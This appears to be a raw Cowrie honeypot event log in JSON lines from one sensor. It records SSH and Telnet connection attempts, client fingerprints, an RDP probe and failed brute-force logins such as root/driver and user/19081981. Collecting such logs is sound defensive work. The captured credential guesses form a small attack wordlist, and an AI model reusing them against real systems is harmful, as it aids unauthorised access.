{"eventid":"cowrie.login.failed","username":"admin","password":"6591","message":"login attempt [admin/6591] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:02.939866Z","src_ip":"2.57.121.112","session":"de3abceba220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:04.044814Z","src_ip":"2.57.121.112","session":"de3abceba220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":60740,"dst_ip":"10.17.0.5","dst_port":22,"session":"04a79f54e844","protocol":"ssh","message":"New connection: 89.108.118.91:60740 (10.17.0.5:22) [session: 04a79f54e844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:06.411929Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:06.416836Z","src_ip":"89.108.118.91","session":"04a79f54e844","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:06.553647Z","src_ip":"89.108.118.91","session":"04a79f54e844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pavlova","message":"login attempt [root/pavlova] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:06.966541Z","src_ip":"89.108.118.91","session":"04a79f54e844","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:08.116018Z","src_ip":"89.108.118.91","session":"04a79f54e844","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":7091,"dst_ip":"10.17.0.5","dst_port":22,"session":"04bb802421e8","protocol":"ssh","message":"New connection: 2.57.121.25:7091 (10.17.0.5:22) [session: 04bb802421e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:12.764606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:12.769549Z","src_ip":"2.57.121.25","session":"04bb802421e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:12.870969Z","src_ip":"2.57.121.25","session":"04bb802421e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"19081981","message":"login attempt [user/19081981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:13.349115Z","src_ip":"2.57.121.25","session":"04bb802421e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"19081975","message":"login attempt [user/19081975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:14.453077Z","src_ip":"2.57.121.25","session":"04bb802421e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"19071992","message":"login attempt [user/19071992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:15.558467Z","src_ip":"2.57.121.25","session":"04bb802421e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"19061974","message":"login attempt [user/19061974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:16.663398Z","src_ip":"2.57.121.25","session":"04bb802421e8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"19031976","message":"login attempt [user/19031976] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:17.768683Z","src_ip":"2.57.121.25","session":"04bb802421e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:18.872742Z","src_ip":"2.57.121.25","session":"04bb802421e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53616,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc886e62a5f3","protocol":"telnet","message":"New connection: 152.42.224.71:53616 (10.17.0.5:23) [session: dc886e62a5f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:20.394177Z"}
{"eventid":"cowrie.session.closed","duration":36.361780405044556,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:29.908218Z","src_ip":"152.42.224.71","session":"66d08d51c9a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.256171703338623,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:31.650207Z","src_ip":"152.42.224.71","session":"dc886e62a5f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43406,"dst_ip":"10.17.0.5","dst_port":23,"session":"ebaa4abb19ec","protocol":"telnet","message":"New connection: 152.42.224.71:43406 (10.17.0.5:23) [session: ebaa4abb19ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:51.717346Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":48576,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6adeaeec998","protocol":"ssh","message":"New connection: 193.37.70.224:48576 (159.203.135.109:22) [session: d6adeaeec998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:53.364614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:53.369716Z","src_ip":"193.37.70.224","session":"d6adeaeec998","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:53.462879Z","src_ip":"193.37.70.224","session":"d6adeaeec998","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"driver","message":"login attempt [root/driver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:53.741197Z","src_ip":"193.37.70.224","session":"d6adeaeec998","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0009925365448,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:53.828708Z","src_ip":"152.42.224.71","session":"acfe2f6a7d1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:54.837651Z","src_ip":"193.37.70.224","session":"d6adeaeec998","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43408,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2fe1b5b03b0","protocol":"telnet","message":"New connection: 152.42.224.71:43408 (10.17.0.5:23) [session: c2fe1b5b03b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:55.222039Z"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":60652,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6ec1a2dbc5c","protocol":"ssh","message":"New connection: 167.172.81.52:60652 (159.203.135.109:22) [session: e6ec1a2dbc5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:55.519928Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:55.567355Z","src_ip":"167.172.81.52","session":"e6ec1a2dbc5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:44:55.572131Z","src_ip":"167.172.81.52","session":"e6ec1a2dbc5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":40896,"dst_ip":"159.203.135.109","dst_port":22,"session":"8206c284b9b7","protocol":"ssh","message":"New connection: 103.149.28.157:40896 (159.203.135.109:22) [session: 8206c284b9b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:45:03.039689Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:45:03.045679Z","src_ip":"103.149.28.157","session":"8206c284b9b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:45:03.295681Z","src_ip":"103.149.28.157","session":"8206c284b9b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345zxc","message":"login attempt [root/12345zxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:45:04.050402Z","src_ip":"103.149.28.157","session":"8206c284b9b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:45:05.301496Z","src_ip":"103.149.28.157","session":"8206c284b9b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":44192,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f504e9efaa8","protocol":"telnet","message":"New connection: 152.42.224.71:44192 (10.17.0.5:23) [session: 2f504e9efaa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:45:08.688037Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48546,"dst_ip":"10.17.0.5","dst_port":23,"session":"40eb86b41286","protocol":"telnet","message":"New connection: 152.42.224.71:48546 (10.17.0.5:23) [session: 40eb86b41286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:45:19.320051Z"}
{"eventid":"cowrie.session.closed","duration":24.91518259048462,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:45:20.137097Z","src_ip":"152.42.224.71","session":"c2fe1b5b03b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42666,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccdfd48e9cf5","protocol":"telnet","message":"New connection: 152.42.224.71:42666 (10.17.0.5:23) [session: ccdfd48e9cf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:45:37.148919Z"}
{"eventid":"cowrie.session.closed","duration":30.56141757965088,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:45:49.881361Z","src_ip":"152.42.224.71","session":"40eb86b41286","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.07522416114807,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:45:50.763141Z","src_ip":"152.42.224.71","session":"2f504e9efaa8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":54186,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c22fa467edb","protocol":"ssh","message":"New connection: 103.98.149.87:54186 (159.203.135.109:22) [session: 2c22fa467edb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:45:53.018146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:45:53.022496Z","src_ip":"103.98.149.87","session":"2c22fa467edb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:45:53.247839Z","src_ip":"103.98.149.87","session":"2c22fa467edb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aspirine","message":"login attempt [root/aspirine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:45:53.921886Z","src_ip":"103.98.149.87","session":"2c22fa467edb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:45:55.155474Z","src_ip":"103.98.149.87","session":"2c22fa467edb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43412,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba085ded3b84","protocol":"telnet","message":"New connection: 152.42.224.71:43412 (10.17.0.5:23) [session: ba085ded3b84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:46:13.421665Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":59690,"dst_ip":"159.203.135.109","dst_port":22,"session":"958b28899032","protocol":"ssh","message":"New connection: 62.133.63.178:59690 (159.203.135.109:22) [session: 958b28899032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:46:18.728980Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:46:18.734792Z","src_ip":"62.133.63.178","session":"958b28899032","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:46:18.857944Z","src_ip":"62.133.63.178","session":"958b28899032","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"driver","message":"login attempt [root/driver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:46:19.230945Z","src_ip":"62.133.63.178","session":"958b28899032","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:46:20.357171Z","src_ip":"62.133.63.178","session":"958b28899032","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.568939208984375,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:46:23.717747Z","src_ip":"152.42.224.71","session":"ccdfd48e9cf5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.104.175.234","src_port":51914,"dst_ip":"10.17.0.5","dst_port":22,"session":"0869bd036447","protocol":"ssh","message":"New connection: 172.104.175.234:51914 (10.17.0.5:22) [session: 0869bd036447]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T15:46:25.190534Z"}
